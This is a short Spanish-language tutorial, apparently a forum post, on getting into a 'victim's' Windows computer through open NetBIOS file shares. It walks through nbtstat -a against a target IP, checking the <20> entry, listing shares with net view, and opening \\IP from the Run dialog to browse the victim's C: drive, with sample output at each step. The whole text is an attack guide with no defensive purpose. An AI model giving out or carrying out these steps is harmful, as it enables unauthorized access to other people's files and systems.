1º abrimos la ventana de cmd

2º ponemos esto en el cmd...........: nbtstat -a nº ip de la victima... ejemplo: nbtstat -a 192.165.1.123

-si la victima tiene recursos compartidos abiertos no dira algo así:

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------
SANTI <00> UNIQUE Registered
CORBA <00> GROUP Registered
SANTI <03> UNIQUE Registered
SANTI <20> UNIQUE Registered____________________ este es el nº de puerto que nos interesa, si no tiene este puerto aquí
CORBA <1E> GROUP Registered significaria que no tiene los recursos compartidos activados.

MAC Address = 44-45-53-54-00-00

-Bueno, supongamos que ya tenemos la victima y que despues de hacer todas las operaciones anteriores la maquina nos dice que tiene abierto el puerto nº 20. Pues es el momento de pasar al siguiente paso.

3º ponemos en el cmd el siguiente comando: net view \ nº de ip... ejemplo: net view \87.145.21.122

-la maquina con este comando nos respondera con los recursos que la victima tiene compartido, seria algo así.

Recursos compartidos \Nombre maquina victima

Compartido Tipo Comentario
---------------------------------------
CDROM Disco
C Disco
PRINTER1 Impresora

El comando ha sido ejecutado con éxito.

-Esto nos indica que la victima comparte la unidad c de su ordenador la impresora y la unidad de cdrom.

-Ahora para poder acceder a su sistema en este caso lo que nos interesa seria el disco c, hariamos lo siguiente.

4º pulsamos en el boton inicio del escritorio de windows y buscamos ajecutar, abrimos el programa ejecutar de nuestro sistema operativo y ponemos la ip de la victima precedida de dos baras ejemplo: \87.145.21.122 y le damos a intro.

AUTOMATICAMENTE SE NOS ABRIRA UNA VENTANA CON LAS CARPETAS DEL SISTEMA DE NUESTRA VICTIMA. Y ESTO ES TODO. UN SALUDO